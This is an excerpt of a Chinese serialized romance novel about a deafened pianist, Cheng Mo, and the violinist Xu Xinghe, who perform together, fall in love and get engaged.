"许告诉我你已经开始尝试作曲了,"沃克教授兴奋地说,"这太棒了!我们想记录你的创作过程,分析听觉记忆如何转化为触觉反馈..." 程陌的注意力却全在许星河身上。年轻人正专注地做着笔记,偶尔补充一些专业意见,全程避免与程陌眼神接触。但当沃克教授提到"情感因素在音乐感知中的重要性"时,程陌注意到许星河握笔的手指微微颤抖了一下。 "程先生,你有什么问题吗?"沃克教授问。 程陌犹豫了一下,打字道:【这个项目需要我做什么具体准备?】 "主要是心理准备,"沃克教授认真地说,"我们需要你完全敞开心扉,分享你的感受和恐惧。许说你对过去有些...回避?" 程陌猛地看向许星河,年轻人终于抬起头,眼中闪过一丝愧疚,但很快又恢复了专业表情。"这只是初步评估时的观察,"许星河平静地解释,"程先生对车祸和失聪经历有自然的防御机制,这在创伤后应激障碍中很常见。" 听到许星河如此冷静地分析自己的心理状态,程陌感到一阵刺痛。那些深夜的倾诉,那些脆弱时刻的依靠,现在都变成了冷冰冰的临床观察。 会议接近尾声时,沃克教授接到一个电话,暂时离开了会议室。房间里只剩下程陌和许星河,空气瞬间凝固。 "那个项目协调人的工作,"程陌终于忍不住打字,"就是你拒绝继续见我的原因?" 许星河放下笔,深吸一口气:"不全是。环球音乐的合约确实占用了很多时间,但主要是..."他停顿了一下,"我需要一些空间。" 【因为我不信任你?】 "因为你不信任任何人,"许星河轻声说,眼神终于软化了一些,"程陌,我比任何人都希望看到你重新拥抱音乐。但我不能...不能只是你康复过程中的一个工具。" 程陌胸口发紧。他从未这样想过许星河,但年轻人的话不无道理。他打字:【你不是工具。你是我...】手指悬在屏幕上方,最终打出了:【最重要的人。】 许星河的眼睛瞬间湿润了,但他迅速眨了眨眼,强作镇定:"那为什么从不让我了解你的过去?为什么每次提起车祸你都转移话题?" 程陌沉默了。他望向窗外,阳光透过玻璃洒在会议桌上,形成一片明亮的光斑。三年来,他从未对任何人详细谈起那场改变一切的车祸,甚至对心理医生也只是敷衍了事。但此刻,面对许星河受伤的眼神,他感到那堵高墙开始松动。 【那是个雨天,】程陌缓慢地打字,每个字都像在搬开一块沉重的石头,【我从维也纳回国,刚赢得比赛,经纪人安排了庆功宴。我喝了点酒,但坚持自己开车回酒店...】 许星河屏住呼吸,轻轻靠近了一些。 【卡车闯红灯时,我正戴着耳机听比赛录音,】程陌继续打字,手指微微发抖,【没听见喇叭声。撞击的瞬间,挡风玻璃碎了,一片碎片划伤了听觉神经。】 许星河的手无意识地捂住嘴,眼睛睁得大大的。 【最讽刺的是,】程陌苦笑了一下,【当时耳机里放的,正是我获奖的肖邦练习曲。那是我最后听到的声音。】 一滴泪水从许星河脸颊滑落。他伸手想碰程陌,又犹豫地缩了回去。"所以你不只是失去了听力,"他轻声说,"你还失去了职业生涯的巅峰时刻。" 程陌点点头,继续打字:【我恨那天的自己。恨我的自负,恨我的不小心。如果当时叫了代驾,如果没戴耳机...】 "如果如果如果,"许星河突然打断他,声音哽咽,"生活没有如果,程陌。只有后果和...如何面对。" 程陌抬头,看到许星河泪流满面却坚定的表情。年轻人终于伸出手,轻轻覆在程陌的手背上:"谢谢你告诉我这些。但你的价值从来不只在于你的听力,而在于你的灵魂——那个能创造出如此美丽音乐的灵魂。" 程陌感到一股暖流从相触的皮肤蔓延至全身。他翻转手掌,与许星河十指相扣,感受着对方脉搏的跳动。 "我...我该道歉,"许星河吸了吸鼻子,"我不该突然消失,不该在酒吧那天装作不认识你。那个是我表哥,刚从国外回来..." 程陌摇摇头,打字:【你只是做了我一直在做的事——自我保护。】 会议室门被推开,沃克教授回来了。"啊,你们聊得不错?"他敏锐地注意到两人红着的眼眶和交握的手,但体贴地没有多问。 "教授,"许星河突然说,声音比之前坚定了许多,"我有个请求。能否让程先生参与下周的慈善音乐会?不是作为研究对象,而是作为正式演出嘉宾。" 沃克教授挑眉:"当然可以,如果程先生愿意的话。" 程陌看着许星河期待的眼神,点了点头。年轻人脸上绽放出久违的灿烂笑容,右脸颊的小酒窝若隐若现。 会议结束后,许星河主动提出送程陌回家。出租车上,两人肩并肩坐着,虽然沉默,但已不再尴尬。 "对了,"许星河突然想起什么,从包里拿出一个精致的小盒子,"这个...一直想还给你。" 程陌打开盒子,是那枚音符胸针。他摇摇头,重新别在许星河的领口上:【它更适合你。】 许星河低头看着胸针,睫毛在脸上投下细碎的阴影:"那...明天开始排练?慈善音乐会上,我们可以演奏你的新作品。" 程陌点点头,突然打字问:【那天在酒吧,你为什么认出我?】 许星河愣了一下,然后露出一个神秘的微笑:"因为你的手。我看了你所有演出视频,记得你弹琴时手指的每个动作。"他轻轻握住程陌的手,"即使在黑暗中,我也能认出它们。" 出租车驶过繁华的街道,阳光透过车窗洒在两人交握的手上。程陌突然意识到,有些伤痕或许永远不会完全愈合,但它们可以成为生命的一部分,而不是全部。就像断弦的小提琴,经过精心修复后,依然能奏出动人的旋律。 而许星河,就是那个愿意耐心修复他的琴师。清晨的阳光透过窗帘缝隙洒进来,程陌睁开眼睛,发现许星河已经在他的厨房里忙碌。年轻人背对着他,哼着歌煎鸡蛋,白衬衫的袖子卷到手肘,露出线条优美的小臂。那枚音符胸针别在围裙带上,随着他的动作轻轻晃动。 自从一周前和好,许星河又恢复了每天早早就来报到的习惯,有时甚至留宿在客房。但今天似乎特别早——程陌看了眼时钟,才六点半。 "醒啦?"许星河转身,露出一个明亮的笑容,"慈善音乐会下午彩排,我想先和你过一遍曲子。" 程陌点点头,走到钢琴前坐下。自从敞开心扉后,他发现自己弹琴时不再那么紧绷,甚至能尝试一些即兴创作。许星河说这是突破,他只是觉得...更自由了。 许星河端着早餐过来,盘子里是精心摆好的三明治和水果。"先吃点东西,"他递给程陌一杯橙汁,"沃克教授说空腹练习对状态不好。" 程陌接过杯子,指尖不经意碰到许星河的手指,两人都像被静电打到般迅速缩回。这种微妙的紧张感最近经常出现——一个不经意的触碰,一个过久的对视,都会让空气突然变得稠密。 "我...我去拿琴。"许星河结结巴巴地说,耳尖泛红。 程陌看着年轻人逃也似的背影,嘴角不自觉上扬。他打开琴盖,手指轻轻落在熟悉的黑白键上。过去几天,他一直在完善那首为许星河创作的《星光》,今天终于要第一次完整合奏了。 许星河拿着小提琴回来,脸颊还带着可疑的红晕。"准备好了吗?"他深吸一口气,将琴抵在下巴下。 程陌戴上骨传导耳机,点点头。钢琴声率先响起,清澈而忧伤的旋律像月光下的溪流。几小节后,小提琴加入,如同夜空中突然出现的星辰,明亮而温暖。 他们配合得天衣无缝,仿佛已经合奏了千百遍。程陌通过耳机和地板传来的振动,能清晰感知许星河的每个音符,每个呼吸的起伏。当乐曲进入高潮部分时,两人不约而同地加快节奏,音乐如潮水般奔涌而出。 最后一个音符余韵未消,许星河已经激动地放下琴弓:"太完美了!程老师,这绝对是目前为止 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"程老师?你还好吗?"许星河已经换好衣服回来,担忧地看着他。 程陌摇摇头,把这个奇怪的梦抛到脑后,打字道:【没事,走吧。】 慈善音乐会在城市音乐厅举行,主题是"听见不同的声音",旨在为听障儿童音乐教育项目筹款。当他们到达时,后台已经忙碌起来。工作人员、志愿者和表演者来来往往,其中有不少坐着轮椅或戴着助听器的孩子。 "程陌!许星河!"林姐快步走过来,今天她穿着利落的裤装,手里拿着流程表,"你们被安排在压轴,沃克教授会在你们之前做个简短演讲。" 许星河熟练地与工作人员确认细节,程陌则被一群听障孩子围住了。他们用手语和文字板热情地与他交流,有个小女孩甚至带来了自己画的钢琴家肖像送给他。 "看来你很受欢迎。"许星河忙完回来,笑着看程陌被孩子们簇拥的场景。 程陌难得地露出微笑,打字道:【他们很可爱。】 "程老师笑起来真好看,"许星河突然说,然后意识到自己说了什么,立刻红了脸,"我是说...呃...孩子们确实很可爱!" 程陌忍不住又笑了,这次更明显。许星河手足无措的样子总是让他心情愉悦。 彩排进行得很顺利。当他们合奏完《星光》时,连后台的工作人员都停下手中的活,报以热烈的掌声。沃克教授激动地走过来:"太精彩了!程先生,你的音乐感知能力远超我们预期!" 下午五点,观众开始入场。程陌从幕布的缝隙中看到,前排坐着许多听障儿童和他们的家长,还有一些熟悉的面孔——音乐学院的教授、乐评人,甚至他以前的钢琴老师。 "紧张吗?"许星河悄声问,手指轻轻碰了碰程陌的手背。 程陌摇摇头,但手心已经微微出汗。这是他在公众面前的正式复出,意义远超上次的小型演出。 "记住,"许星河将程陌的手放在自己胸口,"音乐在这里。无论发生什么,我都会在你身边。" 程陌能感受到许星河有力的心跳,稳定而温暖。他点点头,突然倾身在年轻人额头上轻轻一吻。这个突如其来的亲昵举动让两人都愣住了,许星河的脸瞬间红得像熟透的苹果。 "各就各位!"工作人员的声音打破了这一刻的魔力。 演出正式开始。前面的节目都很精彩,但程陌几乎没看进去,他的注意力全在身旁的许星河身上。年轻人专注地看着舞台,时不时在节目单上做笔记,睫毛在灯光下投下细碎的阴影。 终于,沃克教授的演讲结束,主持人宣布了他们的名字:"下面请欢迎钢琴家程陌和小提琴家许星河,为我们带来原创曲目《星光》!" 掌声如潮水般涌来。程陌深吸一口气,跟着许星河走上舞台。刺眼的灯光让他眯起眼,但当他坐在钢琴前,戴上特制的骨传导耳机时,世界突然安静下来,只剩下他和音乐,还有站在不远处的许星河。 许星河向观众鞠躬,然后转向程陌,用手语比划:【准备好了吗?】 程陌点点头,手指落在琴键上。第一个音符响起时,他感到一种奇异的平静,仿佛回到了最自然的状态。钢琴声如流水般倾泻而出,几小节后,许星河的小提琴加入,如同夜空中第一颗亮起的星辰。 他们配合得天衣无缝,程陌能通过地板传来的振动和骨传导耳机,精准地把握每个音符的力度和时机。当乐曲进入高潮部分时,许星河突然向他走近几步,琴声更加激昂,仿佛在诉说着什么无法用语言表达的情感。 程陌抬头,与许星河四目相对。在舞台的聚光灯下,年轻人的眼睛闪闪发亮,像是真的盛满了星光。那一刻,程陌突然明白了自己这首曲子真正想表达的是什么——不是黑暗中的孤独,而是黑暗中依然被看见、被理解的温暖。 最后一个音符余韵未消,全场已经爆发出雷鸣般的掌声。前排的听障孩子们用力挥舞着发光的应援棒,脸上洋溢着纯粹的喜悦。程陌和许星河一起鞠躬谢幕,当程陌直起身时,发现许星河眼中噙着泪水。 "太棒了,"许星河用口型说,声音淹没在掌声中,"我爱你。" 程陌不确定自己是否读对了唇语,但许星河眼中的情感如此赤裸,让他心跳漏了一拍。还没等他反应,许星河已经转身向观众致意,仿佛刚才那句话只是程陌的幻觉。 回到后台,他们立刻被祝贺的人群包围。沃克教授激动地谈论着研究前景,林姐忙着安排后续采访,工作人员送来鲜花。在一片嘈杂中,程陌寻找着许星河的身影,却发现年轻人站在角落,正和一位西装革履的中年男子低声交谈。 那人拍了拍许星河的肩膀,递给他一张名片,然后离开了。许星河转身看到程陌,立刻露出笑容:"那是环球音乐的A&R总监,他想签下我们的二重奏组合!" 程陌挑眉,打字问:【我们的?】 "当然啦!"许星河眼睛亮晶晶的,"《星光》是我们一起创作的,而且我们的配合简直完美!当然,前提是你有兴趣..."他的声音渐渐变小,有些不确定地看着程陌。 程陌没有立即回答。重返职业音乐圈是他从未想过的可能,但看着许星河期待的眼神,他突然觉得,也许一切皆有可能。 【我需要考虑一下,】他最终打字道,【但和你一起的话...听起来不错。】 许星河的笑容瞬间点亮了整个房间。他冲动地抓住程陌的手:"无论你决定什么,我都会支持你。我只是...很高兴能继续和你一起创造音乐。" 程陌感到一股暖流涌上心头。他轻轻回握许星河的手,拇指无意识地摩挲着年轻人的指节。这一刻,他意识到,无论未来如何,许星河已经成为他生命中不可或缺的旋律——一段他再也不愿失去的和声。程陌站在环球音乐大厦的玻璃幕墙前,望着脚下如蚁群般穿梭的车流。三个月前的那场慈善演出改变了一切——《星光》的视频在网络上疯传,"聋哑钢琴家与天才小提琴手的灵魂合奏"成为热议话题,环球音乐迅速签下了他们的二重奏组合。 "程老师,录音室准备好了!"许星河的声音从身后传来。 程陌转身,呼吸微微一滞。今天的许星河穿了一件深蓝色高领毛衣,衬得肤色更加白皙,头发似乎刚剪过,露出线条优美的颈线。那枚音符胸针依然别在衣领上,在灯光下闪闪发亮。 "紧张吗?"许星河走近,身上带着淡淡的柑橘香气,"第一次正式录音。" 程陌摇摇头,打字道:【有你在就不紧张。】 这句话让许星河耳尖泛红,他笑着拉住程陌的手:"走吧,沃克教授和林姐都在等了。" 录音室里,技术人员正在调试设备。沃克教授和林姐站在控制台前讨论着什么,看到他们进来,立刻热情地打招呼。 "今天我们先录《星光》,"制作人马克说,"然后再试试你们的新曲子。" 许星河点点头,拿出小提琴开始调音。程陌坐在三角钢琴前,习惯性地活动手指。自从决定重返职业音乐圈后,他每天练习时间增加到六小时,指尖已经重新长出茧子。 "戴上这个。"许星河帮他戴上改良版的骨传导耳机,手指不经意擦过他的耳廓,引起一阵微妙的战栗。 录音开始。《星光》的旋律他们已经演奏过无数次,但在专业的录音环境下,每个音符都显得更加清晰而饱满。程陌通过耳机和地板传来的振动,能感受到许星河琴声中的每一个细微变化——当乐曲进入抒情段落时,年轻人的琴音会变得格外柔软;而在高潮部分,他又会爆发出惊人的激情。 "太完美了!"一曲终了,马克在控制室里激动地说,"简直不需要任何后期处理!" 许星河兴奋地看向程陌,眼睛亮得像星星:"再来一遍?我觉得第二乐章还可以更细腻一些。" 程陌点点头。他们又演奏了两遍,每一次都有微妙的差异,就像同一幅画在不同光线下的样子。录制间隙,许星河凑过来帮他调整耳机,近得能感受到彼此的呼吸。 "你今天的演奏太棒了,"许星河小声说,嘴唇几乎碰到程陌的耳廓,"尤其是那段华彩乐章,比我第一次听时进步了好多。" 程陌转头,突然意识到他们的脸距离不过十厘米。许星河似乎也意识到了这一点,但没有后退,只是睫毛轻轻颤动,像蝴蝶的翅膀。 "咳咳。"林姐的干咳声打破了这一刻的魔力。许星河像触电般弹开,脸颊绯红。程陌则假装专注于钢琴键,尽管他的心跳快得不像话。 这种若即若离的暧昧已经持续了数周。自从慈善音乐会上那个疑似"我爱你"的口型后,许星河再没明确表达过什么,但种种小动作——不经意的触碰,长久的凝视,深夜排练后自然而然的留宿——都让程陌确信,他们之间已经超越了简单的友谊或合作关系。 但谁都没有捅破那层窗户纸。 下午,他们开始录制新曲《触觉》。这是程陌最新创作的曲子,灵感来自他与许星河的相遇——如何在没有声音的世界里,通过触摸、振动和眼神交流来感知音乐。 "这首比《星光》更复杂,"许星河向制作团队解释,"有很多不规则的节奏变化和即兴段落。" 录制开始。钢琴声如雨滴般落下,小提琴随后加入,如同穿行其间的风。程陌全神贯注地演奏着,通过骨传导耳机和地板振动,他能清晰地感知到许星河的每个音符。当乐曲进入即兴段落时,他甚至不需要看许星河,仅凭"感觉"就能预判年轻人的每个选择。 "天啊,"马克在控制室喃喃道,"他们简直像有心电感应一样。" 录制结束时,已是华灯初上。工作人员陆续离开,只剩下程陌和许星河在录音室里收拾乐谱。 "今天很顺利,"许星河伸了个懒腰,毛衣上移露出一截白皙的腰线,"马克说照这个进度,专辑下个月就能完成。" 程陌点点头,突然打字问:【晚饭想吃什么?】 "嗯...你做的意面?"许星河眼睛一亮,"上次那个奶油蘑菇的超级好吃!" 程陌忍不住微笑。自从发现许星河对他厨艺的痴迷后,他就经常变着花样做各种美食,只为了看年轻人吃到喜欢的东西时眼睛发亮的样子。 他们一起回到程陌的公寓。许星河熟门熟路地钻进厨房帮忙,虽然他的"帮忙"通常意味着把食材切得奇形怪状,或者把调料撒得到处都是。 "对了,"许星河一边笨拙地切蘑菇一边说,"沃克教授问我,你愿不愿意参加下个月的听觉康复研讨会?作为成功案例分享经验。" 程陌正在煮面的手顿了顿。自从开始接受沃克教授的治疗方案,他的音乐感知能力确实有了显著提升,但公开谈论自己的失聪经历...这仍然让他感到不适。 "不想去也没关系,"许星河敏锐地察觉到他的犹豫,"我只是转达邀请。" 程陌转身,看着许星河沾满蘑菇碎的手和认真的表情,突然打字道:【如果你陪我去,我可以考虑。】 许星河的眼睛瞬间亮了起来:"真的?我当然会陪你去!"他激动地伸手想抱程陌,又意识到自己手上还沾着食物,尴尬地停在半空。 程陌忍不住笑出声,拿起毛巾帮许星河擦手。年轻人的手指修长而温暖,指腹因常年练琴而有些粗糙。擦着擦着,两人的动作都慢了下来,程陌抬头,对上许星河近在咫尺的目光。 厨房里安静得只剩下水煮沸的声音。许星河轻轻咬了咬下唇,像是下定了什么决心:"程陌,我..." 就在这时,门铃响了。两人如梦初醒般分开,许星河懊恼地抓了抓头发:"这时候会是谁啊?" 程陌去开门,发现是快递员,送来了一个国际包裹。寄件人栏写着"维也纳音乐学院"。 "这是什么?"许星河好奇地凑过来。 程陌拆开包裹,里面是一张CD和一份文件。当他看清内容时,整个人僵住了——那是三年前他在维也纳比赛时的全场录音母带,以及评委会的原始评分表。 "天哪!"许星河惊呼,"这不是你最后一场..."他突然住口,担心地看向程陌。 程陌的手指微微发抖。那场比赛是他职业生涯的巅峰,也是他失去听力前最后的记忆。他从未想过能再次"听"到当时的演奏——虽然是通过骨传导技术感受到的振动版。 "要...要现在听吗?"许星河小心翼翼地问。 程陌深吸一口气,点了点头。他们来到客厅,程陌戴上骨传导耳机,许星河帮他放入CD并调整好设备。 当第一个音符通过振动传来时,程陌闭上了眼睛。那熟悉又陌生的触感——是他自己的演奏,却来自另一个时空,另一个版本的自己。那个还听得见掌声,听得见琴声,听得见世界喧嚣的程陌。 许星河安静地坐在一旁,观察着程陌的表情。当乐曲进行到一半时,他突然看到一滴泪水从程陌紧闭的眼中滑落。 "够了,"许星河立刻关掉播放器,"不要再听了。" 程陌睁开眼睛,发现许星河跪在他面前,满脸担忧。年轻人轻轻握住他的手:"对不起,我不该让你听这个。" 程陌摇摇头,打字道:【不是你的错。我只是...没想到会这么难过。】 "因为想起了失去的东西?" 【因为意识到自己曾经多么傲慢。】程陌缓慢地打字,【那时候的我,以为音乐只关乎技巧和荣誉。】 许星河的眼神柔软下来:"而现在你明白了音乐真正的意义。" 程陌看着许星河近在咫尺的脸,突然意识到,正是失去听力让他学会了用心感受音乐,就像用心感受眼前这个人一样。他抬手轻轻擦去年轻人脸上不知何时沾上的一点面粉,手指停留在那温暖的肌肤上不愿离开。 许星河屏住呼吸,眼中闪烁着复杂的情感。他慢慢倾身向前,近到程陌能数清他的每一根睫毛:"程陌,我..." 刺耳的电话铃声再次打断了这一刻。许星河懊恼地叹了口气,程陌则无奈地拿起手机——是林姐。 "好消息!"林姐的声音通过语音转文字软件显示在屏幕上,"《触觉》被选为国际残疾人艺术节开幕曲了!组委会希望你们下个月去巴黎演出!" 程陌和许星河对视一眼,同时露出惊讶又欣喜的表情。巴黎,艺术之都,世界级的舞台——这是他们二重奏组合迈向国际的第一步。 挂断电话,许星河兴奋地跳了起来:"巴黎!程老师!我们要去巴黎了!"他像个孩子一样手舞足蹈,不小心踩到地上的乐谱滑了一下。 程陌下意识伸手接住他,两人一起跌坐在沙发上。许星河趴在程陌胸前,两人鼻尖几乎相碰,呼吸交织在一起。这一次,没有门铃,没有电话,没有任何干扰。 "程陌,"许星河轻声说,声音有些发抖,"我可以吻你吗?" 程陌没有回答,而是直接抬头,用自己的唇贴上许星河的。那个吻很轻,像蝴蝶掠过花瓣,却让两人的心脏都狂跳不已。当分开时,许星河的脸红得像熟透的苹果,眼睛却亮得惊人。 "我...我从第一次在酒吧见到你就想这么做了,"许星河结结巴巴地承认,"当时你虽然看起来很凶,但弹琴的样子...天啊,简直让我心跳停止。" 程陌微笑着打字:【现在呢?】 "现在你让我心跳加速,"许星河诚实地说,然后害羞地把脸埋进程陌的肩窝,"老天,我听起来像个花痴。" 程陌轻轻抬起许星河的下巴,再次吻了上去。这一次,他尝到了年轻人唇上残留的奶油蘑菇酱的味道,甜而温暖,就像许星河带给他的感觉一样。 厨房里,煮面的水早已沸腾,发出无声的抗议。但此刻,谁在乎呢?他们有比晚餐更重要的事情要做——比如探索彼此唇间的旋律,谱写属于他们的,最动人的二重奏。巴黎的秋天像一幅莫奈的油画,金黄的落叶铺满香榭丽舍大街,塞纳河上泛着细碎的阳光。程陌站在酒店窗前,望着远处埃菲尔铁塔的轮廓,手指无意识地敲击着窗框——那是他正在脑中练习的旋律节奏。 "紧张吗?"一双温暖的手臂从背后环抱住他的腰,许星河的下巴搁在他肩上,声音里带着刚睡醒的沙哑。 程陌转过身,看着眼前这个头发乱蓬蓬、眼睛还半闭着的年轻人,忍不住在他额头上落下一个轻吻。三个月过去了,这个动作已经变得如此自然,仿佛他们已经这样相处了一辈子。 许星河像只满足的猫一样眯起眼,顺势将脸埋进程陌的颈窝:"再睡五分钟..." 程陌笑着摇摇头,拿起手机打字:【还有两小时就演出了,你确定要睡?】 这句话像魔法一样让许星河瞬间清醒。"什么?!"他猛地抬头,抓过床头时钟确认,"天啊,我设的闹钟怎么没响!" 看着许星河手忙脚乱地冲进浴室,程陌的胸口涌上一股暖流。自从他们在一起后,生活就像被重新调亮了色彩——不再是单调的黑白灰,而是充满了许星河带来的各种意外和惊喜。 比如现在,浴室里传来一阵响亮的喷嚏声,接着是许星河懊恼的抱怨:"巴黎的水也太冷了!" 程陌走过去,看到年轻人正对着镜子刮胡子,脸上还沾着白色泡沫,看起来滑稽又可爱。他接过剃须刀,示意许星河抬头,然后小心翼翼地帮他完成这个任务。许星河乖乖仰着脸,眼睛一眨不眨地看着程陌,里面盛满了毫不掩饰的爱意。 "程老师,"许星河突然说,声音因为仰头的姿势而有些奇怪,"你还记得我们第一次见面吗?" 程陌点点头,怎么可能忘记?那个在昏暗酒吧里固执地认出他的小提琴手,像一束光照进他黑暗的世界。 "那时候我就知道,"许星河继续说,程陌的剃须刀停在他喉结处,能感受到说话时的振动,"你是我要找的人。" 程陌放下剃须刀,轻轻擦去许星河脸上残留的泡沫,然后在他唇上印下一个吻作为回答。 一小时后,他们抵达了艺术节会场——一座历史悠久的音乐厅。后台已经忙碌起来,工作人员、志愿者和表演者来来往往。沃克教授和林姐正在入口处等待,看到他们立刻迎了上来。 "一切准备就绪,"林姐说,今天她穿着利落的黑色套装,"演出结束后有个简短的记者会,然后我们就可以庆祝了。" 沃克教授则关切地看着程陌:"设备都调试好了,骨传导耳机和振动地板都测试过三次,确保万无一失。" 程陌感激地点点头。这次演出对他们来说意义重大——不仅是国际舞台的首秀,还将首次公开演奏他们共同创作的新曲《唯爱》。 化妆间里,许星河帮程陌戴上特制的骨传导耳机,手指在他耳廓上多停留了几秒。"完美,"年轻人小声说,然后突然从口袋里掏出一个小盒子,"对了,我有个东西给你。" 盒子里是一对精致的袖扣,形状是小小的音符。"和我的胸针是一套的,"许星河解释道,眼睛亮晶晶的,"我订做好久了,一直等着合适的时机。" 程陌抚摸着那对袖扣,胸口发紧。他想起许星河送他的第一件礼物——那本贴满剪报的笔记本,那时他们还是疏远的偶像与粉丝;而现在,他们成为了舞台上的搭档,生活中的伴侣。 【谢谢。】程陌打字,然后指了指自己的领带,示意许星河帮他戴好。 许星河认真地系着领带,舌尖不自觉地微微探出嘴角,那是他专注时的习惯表情。程陌忍不住伸手拨弄了一下他额前那缕总是翘起来的头发,许星河抬头对他咧嘴一笑,右脸颊的小酒窝若隐若现。 "五分钟后上场!"工作人员敲门提醒。 许星河深吸一口气,突然抓住程陌的手:"无论发生什么,记住我就在你身边。" 程陌点点头,回握住那只温暖的手。三年前,他以为自己的音乐生涯随着听力一起结束了;而现在,他即将站在国际舞台上,身边是世界上最懂他的人。 聚光灯下,掌声如潮水般涌来。程陌坐在钢琴前,看着站在不远处的许星河。年轻人今晚穿着正式的黑色西装,那枚音符胸针别在领口,在灯光下闪闪发亮。他向观众鞠躬,然后转向程陌,用手语比划:【准备好了吗?】 程陌戴上耳机,点点头。第一个音符响起时,他感到一种奇异的平静,仿佛回到了最自然的状态。《星光》的旋律流淌而出,许星河的小提琴随后加入,如同夜空中第一颗亮起的星辰。 他们配合得天衣无缝,程陌能通过地板传来的振动和骨传导耳机,精准地把握每个音符的力度和时机。当乐曲进入高潮部分时,许星河向他走近几步,琴声更加激昂,仿佛在诉说着什么无法用语言表达的情感。 最后一曲是《爱》。这是他们共同创作的曲子,融合了程陌的深沉和许星河的明亮,就像他们的人生轨迹一样——看似不可能相遇,却完美地交织在一起。 当最后一个音符余韵未消,全场已经爆发出雷鸣般的掌声。前排的观众甚至站起来欢呼,其中有不少是戴着助听器的听障人士,他们用力挥舞着双手,脸上洋溢着纯粹的喜悦。 程陌和许星河一起鞠躬谢幕。当程陌直起身时,发现许星河眼中噙着泪水。在震耳欲聋的掌声中,年轻人用口型清晰地说:"我爱你。" 这一次,程陌确定自己没有看错。他伸手将许星河拉近,在全世界面前,轻轻吻了他的额头。观众席上的欢呼声更响了。 回到后台,他们立刻被祝贺的人群包围。记者们争相提问,闪光灯不断闪烁。许星河熟练地应对各种问题,时不时看向程陌确认。当被问及他们关系时,许星河坦然回答:"程陌是我生命中最重要的人,既是音乐上的灵魂伴侣,也是生活中的挚爱。" 程陌站在一旁,看着许星河在聚光灯下闪闪发光的样子,胸口涌上一股难以言喻的骄傲和爱意。这个曾经只是他粉丝的年轻人,如今已经成为他重返音乐世界的向导,以及生活中不可或缺的另一半。 庆功宴在塞纳河畔的一家米其林餐厅举行。酒过三巡,许星河已经有些微醺,脸颊泛着可爱的红晕,说话也比平时更加大胆。 "程老师,"他靠在程陌肩上,小声说,"我有个秘密要告诉你。" 程陌挑眉,示意他继续。 "其实...我们第一次见面不是在那家酒吧,"许星河神秘地眨眨眼,"更早之前,在维也纳,你最后一场演出...我就在台下。" 程陌惊讶地看着他。许星河坐直身体,从钱包里小心翼翼地取出一张旧照片——年轻的程陌在维也纳金色大厅的舞台上鞠躬,而观众席前排,一个稚气未脱的少年正激动地站起来鼓掌,手里还拿着节目单。 "那是我十六岁生日礼物,"许星河轻声解释,"独自去维也纳听你的演出。第二天我本来想去后台要签名,却听说你因为车祸回国了..."他的声音有些哽咽,"我以为再也见不到你了,直到三年后,在那家酒吧..." 程陌握住许星河的手,拇指轻轻摩挲着那些因常年练琴而长茧的指节。命运多么奇妙,那个曾经坐在观众席上的少年,如今成了他舞台上的搭档,生命中的爱人。 "所以你看,"许星河笑着说,眼中闪烁着泪光,"我们注定要在一起的。" 程陌拿出手机,打了一行字:【不只是注定,而是我们共同的选择。】他停顿了一下,又补充道:【我生命中最正确的选择。】 许星河读完后,眼泪终于落了下来。他紧紧抱住程陌,不顾周围宾客的目光,在他耳边轻声说:"回家后我有惊喜给你。" 回程的飞机上,许星河靠着程陌的肩膀睡得香甜。程陌望着窗外的云海,思绪万千。从失聪到重返舞台,从自我封闭到学会爱与信任,这段旅程比他想象的要艰难,却也更加美好。 因为他不是独自走完这段路的。 回到家的第一晚,许星河神秘地拉着程陌来到琴房。"闭上眼睛,"他要求道,"不许偷看!" 程陌配合地闭上眼睛,听到——不,是感受到许星河在钢琴前忙碌的声音。片刻后,一双温暖的手牵起他,引导他坐到钢琴前。 "可以睁开了。" 程陌睁开眼睛,看到钢琴谱架上放着一份崭新的乐谱,标题是《唯爱·完整版》,作曲者署名是"程陌&许星河"。但最让他惊讶的是,谱架旁边放着一个精致的小盒子。 许星河突然单膝跪地,打开盒子,里面是一对素雅的银戒。"程陌,"他的声音因紧张而微微发抖,"你愿意...正式成为我的家人吗?" 程陌感到呼吸一滞,眼前这个眼睛亮晶晶的年轻人,用最朴素的话语提出了最动人的请求。他没有立刻回答,而是拉起许星河,将他带到钢琴前坐下。 程陌的手指落在琴键上,开始弹奏《唯爱》的主旋律。许星河立刻会意,拿起小提琴加入。音乐代替了言语,成为最好的回答——当乐曲进入高潮时,程陌转头看向许星河,坚定地点了点头。 许星河的小提琴声因激动而微微走调,但他的笑容比任何时候都要灿烂。演奏结束后,他颤抖着为程陌戴上戒指,然后迫不及待地伸出自己的手。 银戒在灯光下闪烁着柔和的光芒,就像他们的爱情——不张扬,却坚不可摧。许星河凑上前,给了程陌一个带着眼泪和笑声的吻。 "我爱你,"他在程陌耳边轻声说,"无论有声还是无声的世界。" 程陌回抱住这个改变了他一生的年轻人,心中满是感激。他想起许星河曾经说过的话——"即使是最黑暗的夜晚,也会有星光。" 而许星河,就是他生命中最亮的那颗星,照亮了他前行的每一步,让他在无声的世界里,重新听见了爱的声音。 [全文完] 52. 第 70 章[番外] 程陌站在厨房里,手指沾满了面粉,眉头紧锁地盯着菜谱。屏幕上显示着"松鼠桂鱼"的制作步骤,旁边还贴心地附有视频教程——这是他第三次尝试这道菜了。 "需要帮忙吗?"许星河从背后探出头来,下巴搁在程陌肩上,呼吸拂过他的耳廓。 程陌摇摇头,继续专注于手中的鱼。今天是他们订婚后的第一个春节,也是许星河父母第一次正式来他们家做客。尽管许星河一再强调"爸妈超级随和",程陌还是希望能准备一桌完美的年夜饭。 "我爸真的不挑食,"许星河用手指偷了一点程陌刚调好的酱汁,被轻拍了一下手背,"而且我妈听说你要下厨,激动得昨晚都没睡好。" 程陌挑眉,打字道:【因为不敢相信我能做饭?】 "因为你是程陌啊!"许星河夸张地挥舞着双手,"钢琴大师程陌!我妈到现在还保存着你十五岁那年在青少年钢琴比赛上的剪报呢。" 程陌的手顿了顿。他没想到许星河的母亲也是自己的乐迷——这让他更紧张了。未来岳母见偶像兼儿子的未婚夫,双重身份带来的压力让他额头渗出细密的汗珠。 "嘿,"许星河突然正经起来,双手捧住程陌的脸,"别紧张。他们爱你,因为你是你,不是因为你的名气或成就。" 程陌深吸一口气,点了点头。许星河总是能看穿他的心思,就像读懂一首熟悉的乐谱一样自然。 门铃响起时,程陌刚把鱼下锅。许星河欢呼一声跑去开门,程陌则迅速整理了一下衬衫领口——他今天特意穿了许星河送的那对音符袖扣。 "爸妈!"许星河的声音从玄关传来,"欢迎来我们家!" 程陌走出厨房,看到一对气质优雅的中年夫妇正在换鞋。许母个子娇小,眉眼间与许星河有七分相似;许父则高大挺拔,戴着一副金丝眼镜,看起来严肃而内敛。 